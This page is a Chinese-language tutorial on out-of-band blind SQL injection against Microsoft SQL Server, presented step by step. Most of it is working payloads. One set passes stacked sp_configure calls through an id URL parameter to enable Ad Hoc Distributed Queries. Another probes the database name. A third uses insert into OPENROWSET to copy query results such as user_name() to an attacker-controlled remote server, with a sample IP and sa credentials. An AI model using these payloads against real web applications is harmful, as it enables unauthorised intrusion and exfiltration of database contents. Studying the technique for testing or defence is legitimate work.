ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、视频、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
[TOC] ## 场景: 适用于盲注入,页面不返回信息。使用这种注入方法,需要一台带有sqlserver的机器。 ## 原理: 就是把当前数据转发到远程的sqlserver上。 ## 前提: openrowset转发利用需要开启Ad Hoc Distributed Queries扩展 ## 开启和关闭扩展 ``` //启用Ad Hoc Distributed Queries: ;exec sp_configure 'show advanced options',1 reconfigure ;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure //为了安全使用,完成后关闭Ad Hoc Distributed Queries: ;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure ;exec sp_configure 'show advanced options',0 reconfigure ``` ## openrowset限制 * 需要保证自己的远程sqlserver服务允许远程访问!!! * 需要保证自己的远程sqlserver的数据库名与注入点的数据库名相同!!! ## 应用步骤 **1.开启远程扩展** ``` payload:`?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure` ``` 本地建立临时表 ``` create table ##version (VERSION varchar(500)) ``` **2、查询注入点的数据库名:mydb** ``` payload:`?id=1 and db_name()>0` ``` **3、自己的远程服务器上建立一个数据库:mydb** ``` SQL语句:create database mydb; ``` **4、自己的远程服务器上建立一个临时表:##version** ``` SQL语句:create table ##version (VERSION varchar(500)); ``` **5、注入点查询系统信息并传到远程服务器:user_name()** ``` payload:?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.97.1;uid=sa;pwd=123456','select * from %23%23version') select user_name() ``` * 首先,要知道select查询的结果还是一个表。 * 其次,该payload的意思就是把select user_name()的查询结果插入到select * from ##version的结果中。 * 注意,payload其中的%23是#的url编码,注意必须要使用%23,不然会报错。 **6、自己的远程服务器上查询表:##version** ``` SQL语句:select * from ##version; ```